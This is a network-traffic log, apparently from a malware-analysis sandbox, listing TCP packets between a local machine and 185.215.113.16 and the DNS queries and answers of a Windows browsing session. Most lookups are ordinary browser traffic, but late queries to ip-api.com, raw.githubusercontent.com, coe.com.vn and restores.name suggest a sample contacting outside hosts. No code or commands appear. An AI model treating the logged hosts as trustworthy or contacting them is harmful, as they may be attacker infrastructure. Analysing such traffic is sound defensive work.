Jul 26, 2024 08:58:09.577584028 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.577598095 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.577603102 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.577610016 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.577625036 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.577632904 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.577655077 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.577661037 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.577666998 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.577739000 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.577826023 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.577838898 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.577850103 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.577863932 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.577869892 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.577876091 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.577877045 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.577889919 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.577893019 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.577929974 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.578227997 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578238964 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578249931 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578262091 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578274965 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578275919 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.578286886 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578299046 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.578300953 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578315020 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578315020 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.578326941 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578340054 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578349113 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.578382015 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.578775883 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578788996 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578799009 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578810930 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578824043 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578829050 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.578835964 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578850031 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578850985 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.578866005 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578867912 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.578879118 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578890085 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578902960 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578913927 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578913927 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.578927994 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578931093 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.578938961 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578953981 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578954935 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.578967094 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578979969 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578994036 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.578995943 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.578995943 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.579005003 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.579072952 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.579072952 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.579648972 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.579660892 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.579670906 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.579684019 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.579696894 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.579699993 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.579730034 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.579744101 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:09.583484888 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.583528042 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.583539009 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.583662033 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.583673954 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.583745003 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.583756924 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.583766937 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.586144924 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:09.586208105 CEST	80	49807	185.215.113.16	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 08:57:37.701828003 CEST	192.168.2.7	1.1.1.1	0x6deb	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:37.702045918 CEST	192.168.2.7	1.1.1.1	0x53d9	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Jul 26, 2024 08:57:40.119597912 CEST	192.168.2.7	1.1.1.1	0x3c3	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:40.120032072 CEST	192.168.2.7	1.1.1.1	0x9d27	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Jul 26, 2024 08:57:41.248300076 CEST	192.168.2.7	1.1.1.1	0x1f3d	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:41.248758078 CEST	192.168.2.7	1.1.1.1	0x56f8	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Jul 26, 2024 08:57:44.892200947 CEST	192.168.2.7	1.1.1.1	0xc1dd	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:44.892366886 CEST	192.168.2.7	1.1.1.1	0x2cf3	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jul 26, 2024 08:57:44.892926931 CEST	192.168.2.7	1.1.1.1	0xb081	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:44.893465042 CEST	192.168.2.7	1.1.1.1	0x7da	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jul 26, 2024 08:57:44.903892994 CEST	192.168.2.7	1.1.1.1	0x687e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:44.904027939 CEST	192.168.2.7	1.1.1.1	0x7f7e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jul 26, 2024 08:57:47.417699099 CEST	192.168.2.7	1.1.1.1	0x3cc	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:47.432509899 CEST	192.168.2.7	1.1.1.1	0xecaf	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 08:57:47.983731985 CEST	192.168.2.7	1.1.1.1	0x1190	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:47.997080088 CEST	192.168.2.7	1.1.1.1	0xd965	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:48.011224031 CEST	192.168.2.7	1.1.1.1	0x61e0	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 08:57:50.754981041 CEST	192.168.2.7	1.1.1.1	0x28e4	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:50.761414051 CEST	192.168.2.7	1.1.1.1	0x2c66	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:50.762851000 CEST	192.168.2.7	1.1.1.1	0x1ea4	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.601089001 CEST	192.168.2.7	1.1.1.1	0xc4af	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:53.601246119 CEST	192.168.2.7	1.1.1.1	0x8690	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Jul 26, 2024 08:57:53.601689100 CEST	192.168.2.7	1.1.1.1	0xccb8	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:55.716249943 CEST	192.168.2.7	1.1.1.1	0x83a9	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:55.716392994 CEST	192.168.2.7	1.1.1.1	0xe256	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jul 26, 2024 08:57:55.716840029 CEST	192.168.2.7	1.1.1.1	0x5912	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:55.717000961 CEST	192.168.2.7	1.1.1.1	0xcccd	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jul 26, 2024 08:57:55.718007088 CEST	192.168.2.7	1.1.1.1	0xc81a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:55.718225002 CEST	192.168.2.7	1.1.1.1	0xb7	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jul 26, 2024 08:57:57.364629030 CEST	192.168.2.7	1.1.1.1	0xf70d	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.392522097 CEST	192.168.2.7	1.1.1.1	0x4e26	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:57.404542923 CEST	192.168.2.7	1.1.1.1	0x1e36	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Jul 26, 2024 08:57:59.583142042 CEST	192.168.2.7	1.1.1.1	0xf71e	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:59.593110085 CEST	192.168.2.7	1.1.1.1	0xcc2b	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:59.601433992 CEST	192.168.2.7	1.1.1.1	0xf118	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 08:57:59.629599094 CEST	192.168.2.7	1.1.1.1	0x571f	Standard query (0)	mitmdetection.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:59.660759926 CEST	192.168.2.7	1.1.1.1	0xcd06	Standard query (0)	mitmdetection.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:59.678602934 CEST	192.168.2.7	1.1.1.1	0x1d26	Standard query (0)	mitmdetection.services.mozilla.com	28	IN (0x0001)	false
Jul 26, 2024 08:58:11.972055912 CEST	192.168.2.7	1.1.1.1	0xc2a0	Standard query (0)	o.pki.goog	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:11.984841108 CEST	192.168.2.7	1.1.1.1	0xb420	Standard query (0)	pki-goog.l.google.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:11.992103100 CEST	192.168.2.7	1.1.1.1	0x5a03	Standard query (0)	pki-goog.l.google.com	28	IN (0x0001)	false
Jul 26, 2024 08:58:13.853019953 CEST	192.168.2.7	1.1.1.1	0x4472	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:13.863801003 CEST	192.168.2.7	1.1.1.1	0x3891	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:13.873421907 CEST	192.168.2.7	1.1.1.1	0x13e	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Jul 26, 2024 08:58:13.964041948 CEST	192.168.2.7	1.1.1.1	0x5bc3	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:13.980643034 CEST	192.168.2.7	1.1.1.1	0x54c2	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:13.985163927 CEST	192.168.2.7	1.1.1.1	0x47bb	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:13.989825010 CEST	192.168.2.7	1.1.1.1	0xf0d7	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 08:58:13.993907928 CEST	192.168.2.7	1.1.1.1	0xa426	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 08:58:14.049941063 CEST	192.168.2.7	1.1.1.1	0x2ee5	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:14.075437069 CEST	192.168.2.7	1.1.1.1	0x43fe	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:14.080444098 CEST	192.168.2.7	1.1.1.1	0xb6c4	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:14.087654114 CEST	192.168.2.7	1.1.1.1	0x9135	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 08:58:14.113105059 CEST	192.168.2.7	1.1.1.1	0x2fde	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:14.436949015 CEST	192.168.2.7	1.1.1.1	0xfa29	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:19.135397911 CEST	192.168.2.7	1.1.1.1	0xfcaa	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:19.899255991 CEST	192.168.2.7	1.1.1.1	0x31c9	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:27.451428890 CEST	192.168.2.7	1.1.1.1	0xae37	Standard query (0)	coe.com.vn	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:28.459144115 CEST	192.168.2.7	1.1.1.1	0xae37	Standard query (0)	coe.com.vn	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:58:34.890214920 CEST	192.168.2.7	1.1.1.1	0x7747	Standard query (0)	restores.name	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 08:57:37.709709883 CEST	1.1.1.1	192.168.2.7	0x6deb	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:37.709709883 CEST	1.1.1.1	192.168.2.7	0x6deb	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:37.709709883 CEST	1.1.1.1	192.168.2.7	0x6deb	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:37.709709883 CEST	1.1.1.1	192.168.2.7	0x6deb	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:37.709709883 CEST	1.1.1.1	192.168.2.7	0x6deb	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:37.709709883 CEST	1.1.1.1	192.168.2.7	0x6deb	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:37.709709883 CEST	1.1.1.1	192.168.2.7	0x6deb	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:37.709709883 CEST	1.1.1.1	192.168.2.7	0x6deb	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:37.709709883 CEST	1.1.1.1	192.168.2.7	0x6deb	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:37.709709883 CEST	1.1.1.1	192.168.2.7	0x6deb	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:37.709709883 CEST	1.1.1.1	192.168.2.7	0x6deb	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:37.709709883 CEST	1.1.1.1	192.168.2.7	0x6deb	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:37.709709883 CEST	1.1.1.1	192.168.2.7	0x6deb	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:37.709709883 CEST	1.1.1.1	192.168.2.7	0x6deb	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:37.709709883 CEST	1.1.1.1	192.168.2.7	0x6deb	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:37.709709883 CEST	1.1.1.1	192.168.2.7	0x6deb	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:37.709709883 CEST	1.1.1.1	192.168.2.7	0x6deb	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:37.710520029 CEST	1.1.1.1	192.168.2.7	0x53d9	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:37.710520029 CEST	1.1.1.1	192.168.2.7	0x53d9	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Jul 26, 2024 08:57:40.126338959 CEST	1.1.1.1	192.168.2.7	0x3c3	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:40.126338959 CEST	1.1.1.1	192.168.2.7	0x3c3	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:40.126338959 CEST	1.1.1.1	192.168.2.7	0x3c3	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:40.126338959 CEST	1.1.1.1	192.168.2.7	0x3c3	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:40.126338959 CEST	1.1.1.1	192.168.2.7	0x3c3	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:40.126338959 CEST	1.1.1.1	192.168.2.7	0x3c3	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:40.126338959 CEST	1.1.1.1	192.168.2.7	0x3c3	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:40.126338959 CEST	1.1.1.1	192.168.2.7	0x3c3	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:40.126338959 CEST	1.1.1.1	192.168.2.7	0x3c3	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:40.126338959 CEST	1.1.1.1	192.168.2.7	0x3c3	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:40.126338959 CEST	1.1.1.1	192.168.2.7	0x3c3	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:40.126338959 CEST	1.1.1.1	192.168.2.7	0x3c3	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:40.126338959 CEST	1.1.1.1	192.168.2.7	0x3c3	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:40.126338959 CEST	1.1.1.1	192.168.2.7	0x3c3	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:40.126338959 CEST	1.1.1.1	192.168.2.7	0x3c3	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:40.126338959 CEST	1.1.1.1	192.168.2.7	0x3c3	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:40.126338959 CEST	1.1.1.1	192.168.2.7	0x3c3	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:40.126600981 CEST	1.1.1.1	192.168.2.7	0x9d27	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:40.126600981 CEST	1.1.1.1	192.168.2.7	0x9d27	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Jul 26, 2024 08:57:40.131915092 CEST	1.1.1.1	192.168.2.7	0x5c8b	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:40.131915092 CEST	1.1.1.1	192.168.2.7	0x5c8b	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:40.132220030 CEST	1.1.1.1	192.168.2.7	0x2731	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:41.255640984 CEST	1.1.1.1	192.168.2.7	0x1f3d	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:41.256058931 CEST	1.1.1.1	192.168.2.7	0x56f8	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:44.899241924 CEST	1.1.1.1	192.168.2.7	0xc1dd	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:44.899241924 CEST	1.1.1.1	192.168.2.7	0xc1dd	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:44.899257898 CEST	1.1.1.1	192.168.2.7	0x2cf3	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jul 26, 2024 08:57:44.899780989 CEST	1.1.1.1	192.168.2.7	0xb081	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:44.899780989 CEST	1.1.1.1	192.168.2.7	0xb081	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:44.900301933 CEST	1.1.1.1	192.168.2.7	0x7da	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jul 26, 2024 08:57:44.910764933 CEST	1.1.1.1	192.168.2.7	0x687e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:44.910764933 CEST	1.1.1.1	192.168.2.7	0x687e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:44.911506891 CEST	1.1.1.1	192.168.2.7	0x7f7e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jul 26, 2024 08:57:47.310662031 CEST	1.1.1.1	192.168.2.7	0x8402	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:47.425103903 CEST	1.1.1.1	192.168.2.7	0x3cc	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:47.990762949 CEST	1.1.1.1	192.168.2.7	0x1190	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:47.990762949 CEST	1.1.1.1	192.168.2.7	0x1190	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:48.004264116 CEST	1.1.1.1	192.168.2.7	0xd965	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:48.017864943 CEST	1.1.1.1	192.168.2.7	0x61e0	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Jul 26, 2024 08:57:50.727935076 CEST	1.1.1.1	192.168.2.7	0x5972	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:50.727935076 CEST	1.1.1.1	192.168.2.7	0x5972	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:50.727946997 CEST	1.1.1.1	192.168.2.7	0x678a	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 08:57:50.761970043 CEST	1.1.1.1	192.168.2.7	0x28e4	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:50.769825935 CEST	1.1.1.1	192.168.2.7	0x2c66	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:50.769825935 CEST	1.1.1.1	192.168.2.7	0x2c66	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:57:50.769918919 CEST	1.1.1.1	192.168.2.7	0x1ea4	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
